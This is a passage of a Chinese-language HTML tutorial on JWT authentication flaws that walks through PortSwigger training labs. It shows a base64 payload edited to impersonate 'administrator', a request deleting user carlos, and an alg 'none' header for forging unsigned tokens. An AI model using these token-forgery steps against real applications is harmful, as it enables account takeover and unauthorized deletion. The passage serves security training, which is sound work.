style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">进行解析和验证,从而获取其中的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Payload</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的信息并进行验证,最后如果解析和验证成功,则说明</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是有效的,否则说明</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">是无效的,在实际应用中应该将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">SECRET_KEY</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">替换为应用程序的密钥</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">漏洞案例</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">库会通常提供一种验证令牌的方法和一种解码令牌的方法,比如</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:Node.js</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">库</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">jsonwebtoken</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">有</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">verify()</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">decode()</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,有时开发人员会混淆这两种方法,只将传入的令牌传递给</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">decode()</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">方法,这意味着应用程序根本不验证签名,而我们下面的使用则是一个基于</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的机制来处理会话,由于实现缺陷服务器不会验证它收到的任何</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的签名,如果要解答实验问题,您需要修改会话令牌以访问位于</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/admin</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的管理面板然后删除用户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">carlos</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,您可以使用以下凭据登录自己的帐户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:wiener:peter<br />
</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">靶场地址:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-unverified-signature</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="553" height="339" src="http://cobjon.com/w/php/upload/202403/01/acbaee63.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">演示步骤:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
Step 1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击上方的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"Access the Lab"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">访问靶场并登录账户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="282" src="http://cobjon.com/w/php/upload/202403/01/5df6c122.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:进入到</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Web</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">界面并登录靶场账户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:#F57900;font-family:Consolas;font-size:9.5pt;">wiener:</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">peter</span><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="416" src="http://cobjon.com/w/php/upload/202403/01/69ff8e26.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="270" src="http://cobjon.com/w/php/upload/202403/01/93c8c383.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">登录之后会看到如下一个更新邮箱的界面</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="282" src="http://cobjon.com/w/php/upload/202403/01/349d041e.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:此时在我们的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">burpsuite</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中我们可以看到如下的会话信息</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="237" src="http://cobjon.com/w/php/upload/202403/01/66cf1bfc.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">此时查询当前用户可以看到会显示当前用户为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">wiener</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="267" src="http://cobjon.com/w/php/upload/202403/01/c40e4531.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">截取上面中间一部分</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">编码的部分更改上面的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sub</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"administrator"</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;letter-spacing:.55pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTY4Nzc5MDA4M30</span><span lang="EN-US" style="color:#333333;font-family:Consolas;font-size:9.5pt;letter-spacing:.55pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="229" src="http://cobjon.com/w/php/upload/202403/01/418bb299.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">&nbsp;</span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">构造一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sub</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"administrator"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的载荷并将其进行</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">编码处理:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;letter-spacing:.55pt;">eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6ImFkbWluaXN0cmF0b3IiLCJleHAiOjE2ODc3OTAwODN9</span><span lang="EN-US" style="color:#333333;font-family:Consolas;font-size:9.5pt;letter-spacing:.55pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="204" src="http://cobjon.com/w/php/upload/202403/01/5a87fc1e.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">替换之后重新发送请求:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="253" src="http://cobjon.com/w/php/upload/202403/01/522db53c.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">按照题目要求访问</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">/admin</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">路径,发现两个删除用户的调用接口:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="255" src="http://cobjon.com/w/php/upload/202403/01/73573827.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">请求敏感链接</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">——</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">删除用户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">carlos</span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">GET </span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">admin</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">delete</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">?</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">username</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">=</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;">carlos HTTP</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">/</span></b><b><span lang="EN-US" style="color:#0000CF;font-family:Consolas;font-size:9.5pt;">1.1</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="215" src="http://cobjon.com/w/php/upload/202403/01/c757b3e9.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">完成靶场的解答:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="184" src="http://cobjon.com/w/php/upload/202403/01/5a8ea477.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">签名用</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">None</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">场景介绍</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的值用于告诉服务器使用哪种算法对令牌进行签名,从而告诉服务器在验证签名时需要使用哪种算法,目前可以选择</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HS256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,即</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">HMAC</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">SHA256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">同时也支持将算法设定为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"None"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,如果</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"alg"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">字段设为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"None"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,则标识不签名,这样一来任何</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">都是有效的,设定该功能的最初目的是为了方便调试,但是若不在生产环境中关闭该功能,攻击者可以通过将</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">字段设置为</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"None"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">来伪造他们想要的任何</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,接着便可以使用伪造的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">冒充任意用户登陆网站</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<div style="background:#F7F7F7;border:solid windowtext 1.0pt;padding:12.0pt 12.0pt 12.0pt 12.0pt;">
        <p style="background:#F7F7F7;border:none;font-family:等线;font-size:10.5pt;margin:0cm;padding:0cm;tab-stops:45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;text-align:justify;text-justify:inter-ideograph;">
                <b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">{</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"alg"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"none"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">,</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
<span>&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"typ"</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">:</span></b><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"> </span><span lang="EN-US" style="color:#4E9A06;font-family:Consolas;font-size:9.5pt;">"JWT"</span><span lang="EN-US" style="color:black;font-family:Consolas;font-size:9.5pt;"><br />
</span><b><span lang="EN-US" style="color:#CE5C00;font-family:Consolas;font-size:9.5pt;">}</span></b><span lang="EN-US" style="font-family:Consolas;font-size:9.5pt;"></span>
        </p>
</div>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">漏洞案例</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">实验靶场:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-flawed-signature-verification</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <img width="554" height="275" src="http://cobjon.com/w/php/upload/202403/01/22c10753.png" alt="vshapes=" "="" style="vertical-align:middle;" /><span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">实验流程:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
Step 1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:点击上方的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"Access the lab"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">访问靶场环境</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
https://0a9c00a8030ba77784d7b92d00cc0086.web-security-academy.net/</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Step 2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:使用账户密码进行登录</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
